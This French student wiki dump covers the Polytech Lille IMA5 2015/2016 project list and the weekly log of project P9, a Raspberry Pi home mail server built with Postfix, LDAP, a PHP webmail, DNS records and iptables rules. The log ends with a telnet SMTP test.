Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===

* Écriture du rapport intermédiaire
* Réalisation du support de soutenance

===Semaine 14 (04/01/2016)===

* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation

===Semaine 15 (11/01/2016)===

Poursuite de la longue réécriture du code shell en perl.

===Semaine 16 (18/01/2016)===

Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut "pj" quand une pièce jointe est présente.

Côté serveur : La complexité du script permettant l'extraction des informations des mails devenant trop importante, nous avons pris le parti de réécrire le code dans un langage un peu plus simple : le Perl. Il permettra d'éviter l'utilisation de (nombreuses) variables d'environnement, tout en proposant des performances accrues.

===Semaine 17 (25/01/2016)===

Côté web :
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans "Envoyés", les mails reçus dans "Boite de réception", manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas

Côté serveur : Implémentation de la gestion des quotas. Quand un mail arrive, chaque destinataire voit son quota contrôlé pour déterminer si oui ou non le mail peut être délivré. Comme nous l'avions dit précédemment, postfix gère le rebond des mails grâce au code de terminaison du script. Or nous à priori il va falloir proposer une solution maison pour pouvoir le faire. En effet, si un mail est refusé pour cause de quota plein, le mail reçu est tout bonnement supprimé sans notifier ni le destinataire, ni l'envoyeur.

===Semaine 18 (01/02/2016)===

Côté web :
* Identification d'un administrateur ou simple utilisateur
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs.
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers ".inc" : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.

Côté serveur :
Mise en place d'un système de récupération des pièces jointes. Pour cela nous utiliserons la commande munpack du paquet mpack. Cette commande permet de décomposer un fichier mail pour notamment en récupérer les pièces jointes. De plus, après test et concertation, nous nous sommes rendu compte qu'il serait intéressant d'utiliser cette même commande pour extraire les messages des mails, évitant ainsi un chargement assez long sur l'interface graphique.

===Semaine 19 (08/02/2016)===
Côté Web :
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.
* Suppression d'un compte : fonctionnelle
* Création d'un compte : fonctionnelle
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de lister les groupes existants : OK
* Création d'une fonction permettant de créer/supprimer un groupe : OK

Au 10/02, on peut créer des comptes, les dossiers sont crées sur le système sans problème à réception d'un mail de bienvenue, on peut envoyer et recevoir des messages, donner les droits d'administrations, gérer la configuration du webmail depuis l'interface, gérer les utilisateurs et leurs attributs depuis l'interface, tout semble prêt relativement au cahier des charges initial. Nous allons migrer notre installation sur une autre IP et autre domaine.

Côté serveur :
Croyant que les fonctionnalités demandées étaient implémentées, nous nous sommes rendu compte après tests que les mails envoyés d'un compte Intimail à un autre compte Intimail n'apparaissaient pas. Ceci était du au fait que le script utilisé n'était activé que lors de la réception d'un mail par le réseau (serveur smtp). Nous avons donc modifié la manière donc les mails sont passés au script, en ajoutant une règle dans <code>master.cf</code> :
mailrte unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/home/moth/Documents/pfe/postfix/json_parser.pl $queue_id $size $sender $recipient
Pas de grande nouveauté ici. Dans le fichier <code>main.cf</code> :
virtual_transport = mailrte

Ces commandes passent TOUT les mails au script défini via l'entrée standard. C'est notre script qui doit alors se débrouiller pour délivrer les mails (précédemment, postfix se chargeait toujours d'écrire les fichiers). Encore une fois, nous avons donc dû modifier notre programme en conséquence.

===Semaine 20 (15/02/2016)===
Nous avons migré la raspberry d'une IP interne au réseau Polytech vers une IP externe. La migration s'est passée sans aucun problème, le plus long étant d'attendre que les zones DNS se propagent (cela a bien pris 1 heure !). Nous sommes donc passés de 193.48.57.171 vers 5.23.44.85.
Nous émettons enfin des mails vers les serveurs extérieurs (en particulier Google Mail, Microsoft Live...). La théorie de départ que nos échecs d'envoi étaient dû aux restrictions du CRI s'est donc bien vérifiée : plus aucun problème juste en migrant.

Finalisation de la gestion des PJs : en cas de mail contenant une pièce jointe, un bandeau permet d'ouvrir chacune d'entre-elles dans un nouvel onglet. La pièce jointe en base 64 dans le fichier mail brut est reconstruite dans un dossier accessible au serveur web puis supprimée pour un gain de place (le fichier d'origine ou reconstruit est plus petit en taille que sa version encodée en base 64, on optimise donc ainsi le quota et l'espace disque).

Corrections de bogues d'encodage des mails entre ISO et UTF8.

Travail sur la création d'un paquet Debian.

===Semaine 21 (22/02/2016)===

* Tournage de la vidéo du projet avec Laurent Engels du service Communication
* Fin de la rédaction du rapport final de PFE
* Rédaction du diaporama de présentation orale du PFE

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

Code de l'interface + README expliquant le contenu : [https://intimail.pw intiMail.pw]

Vidéo de Projet : [http:// Soon™] (Tournée le 22/02 10h avec Laurent Engels)

Projets IMA5 2015/2016

2016-02-22T15:04:40Z

Tteneur : /* Répartition des binômes */

Merci de référencer vos pages de projets ici. Merci aussi d'uniformiser vos formats que ce soit en regardant la présentation des projets déjà créés ou en allant modifier le format des précédents si votre façon de faire vous semble la meilleure. Dans tous les cas un minimum de communication entre les binômes est conseillée.

Toutes les sources doivent être déposées sur notre archive GIT. Le service est disponible à l'URL [https://archives.plil.fr archives.plil.fr]. Connectez-vous avec vos identifiants Polytech'Lille. Sauf indication contraire de vos encadrants, rendez le projet public et mettez le lien sur votre Wiki. Vous pouvez trouver de la documentation sur ce système d'archives sur ce [https://git-scm.com/book/fr/v1 site].

== Répartition des binômes ==

<table border="1">
<tr>
<th>Projet</th>
<th>Elèves</th>
<th>Encadrant Ecole</th>
<th>Rapport décembre</th>
<th>Rapports finaux</th>
<th>Vidéo</th>
</tr>
<tr>
<td>[[P1 Convertisseur DC/DC pour réseau MTDC]]</td>
<td> Mehmet Ilter </td>
<td> Philippe DELARUE </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P2 Data Logger]]</td>
<td> Hidéo VINOT</td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> 15/12/2015 12;00</td>
<td> </td>
<td> mercredi 24 février à 10h avec L. Engels</td>
</tr>
<tr>
<td>[[P4 Jukebox multi-pièces]]</td>
<td> Alexandre Jouy / Julien hérin </td>
<td> Rodolphe Astori / Xavier Redon / Alexandre Boé / Thomas Vantroys </td>
<td> [[Fichier:Pre_soutenance_PFE_Jouy_herin.pdf]] </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P9 Système d'hébergement domestique]]</td>
<td> Romain Libaert / Timothée Teneur </td>
<td> Xavier Redon / Alexandre Boé / Thomas Vantroys </td>
<td> 15/12/2015, 10:21, [[Fichier:P9_LIBAERT_TENEUR_DEC15.pdf]]</td>
<td> </td>
<td> Tournée le 22/02 par M. Engels</td>
</tr>
<tr>
<td>[[P10 LILLIAD: Connected Learning Center | P10 LILLIAD: learning center connecté]]</td>
<td> Mageshwaran Sekar </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> 15/12/2015,07:48, [[Fichier:P10_FYP_December_Report_M_SEKAR.pdf]]</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P11 Spectateur augmenté]]</td>
<td> Teresa Tumbragel </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> </td>
<td> [[Fichier:Teresa Tumbragel-Rapport Spectateur Augmente.pdf]] </td>
<td> NA </td>
</tr>
<tr>
<td>[[P12 Capteurs enfouis pour vieillissement du béton]]</td>
<td> JULITA Alex </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P14 Localisation dans le corps humain]]</td>
<td> Matthieu Marcadet </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> 15/12/2015, 10:52, [[Fichier:Rapport_intermediaire_PFE_Marcadet.pdf]]</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P18 Meuble intelligent]]</td>
<td> Kevin Colautti / Benjamin Lefort </td>
<td> Rémy Bernard / Alexandre Boé / Xavier Redon / Thomas Vantroys </td>
<td> 14/12/2015, 14:44, [[Fichier:P18_pre_soutenance.pdf]]</td>
<td> </td>
<td> RDV L. Engels le 22/02 </td>
</tr>
<tr>
<td>[[Automatic Soldering System Project|P20 Placeur de composants sur PCB]]</td>
<td> Jean Wasilewski & Pierre Letousey </td>
<td> Xavier Redon / Thomas Vantroys / Alexandre Boé </td>
<td> [[Fichier:P20_ASSP.pdf]]</td>
<td> </td>
<td> Rendez-vous pris avec M. Engels le vendredi 25 Février à 10h </td>
</tr>
<tr>
<td>[[P24 Nuage pour sites Web]]</td>
<td> Jeremie Denechaud / Thibaut Scholaert </td>
<td> Xavier Redon / Thomas Vantroys </td>
<td> 15/12/2015, 12:02, [[Fichier:P24_Denechaud_Scholaert.pdf| Rapport intermédiaire de projet]]</td>
<td> </td>
<td> Fait Maison</td>
</tr>
<tr>
<td>[[P25 Architecture ROS pour des véhicules autonomes intelligents]]</td>
<td> Jean-Michel Tournier / Cyril Smagghe </td>
<td> Vincent Coelen et Rochdi Merzouki </td>
<td> 15/12/2015,09:04, [[Fichier:P25-2015_Smagghe_Tournier_decembre.pdf]]</td>
<td> </td>
<td>RDV mercredi 24 15h </td>
</tr>
<tr>
<td>[[P26 Robot de forgeage et d’usinage]]</td>
<td> Bertrand Yvernault / Louis Thebault </td>
<td> Rochdi Merzouki </td>
<td> 14/12/2015, 17:51</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P27 Robot de fraiseuse]]</td>
<td> Flavien Royer / Maxime Morisse </td>
<td> Rochdi Merzouki </td>
<td> 14/12/2015, 19:06, [[Fichier:Rapport_Royer_Morisse.pdf]]</td>
<td> </td>
<td> </td>
</tr>

<tr>
<td>[[P30 Thermostat connecté et intelligent]]</td>
<td> TISSOT Elise / TIRABY Céline </td>
<td> Guillaume Renault / Alexandre Boé / Xavier Redon </td>
<td>15/12/2015, 00:35, [[Fichier:Rapport_PFE_TISSOT_TIRABY.pdf‎ ]] </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P32 Récupération d'énergie pour balise BLE]]</td>
<td> Quentin Sultana </td>
<td> Frédéric Giraud / Alexandre Boé / Thomas Vantroys </td>
<td> 13/12/2015, 19:31, [[Fichier:CR Miprojet_Sultana.pdf]]</td>
<td> </td>
<td> RDV L. Engels le 24/02 </td>
</tr>
<tr>
<td>[[P33 Réalisations en faveur de l'accessibilité de jeux vidéos]]</td>
<td> Jérôme Bailet / Mehdi Zeggaï </td>
<td> GAPAS / Laurent Grisoni / Thomas Vantroys </td>
<td> 14/12/2015, 10:54, [[Fichier:PFE_IMA5_Rapport_intermediaire_Bailet_Zeggai.pdf]]</td>
<td> </td>
<td> RDV L. Engels le 25/02 </td>
</tr>
<tr>
<td>[[P35 Robot de test pour le sport de Golf]]</td>
<td> Deborah Saunders </td>
<td> Rochdi Merzouki </td>
<td> 15/12/2015, 12:07</td>
<td> </td>
<td> </td>
</tr>

<tr>
<td>[[P34 Optimisation de trajectoire pour un robot de curiethérapie]]</td>
<td> Sandra HAGE CHEHADE / Thomas DANEL </td>
<td> Vincent COELEN / Rochdi MERZOUKI </td>
<td> 15/12/2015, 12:02</td>
<td> </td>
<td> </td>
</tr>

<tr>
<td>[[P40 Maquette mécatronique durcie d'ascenseur 5 étages]]</td>
<td> Louis CHAUCHARD / Romain IMBERT </td>
<td> Blaise CONRARD </td>
<td> 14/12/2015, 19:21</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P13 Plateforme expérimentation IOT]]</td>
<td> ROCHE François </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> 14/12/2015, 19:37, [[Fichier:PFE_P13_Plateforme_expérimentation_IOT.pdf]] </td>
<td> </td>
<td> RDV L. Engels le 22/02 </td>
</tr>
<tr>
<td>[[Implantation d'un filtre FIR-FX-LMS sur FPGA pour l'annulation de Bruit Acoustique]]</td>
<td> Bown Alexander / Piat Valentin </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> NA </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[Pilulier automatique]]</td>
<td> Manouk Simon / Corentin Duplouy </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> NA </td>
<td> </td>
<td> RDV L. Engels le 23/02 </td>
</tr>
</table>

P9 Système d'hébergement domestique

2016-02-17T10:02:19Z

Tteneur : /* Semaine 20 (15/02/2016) */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
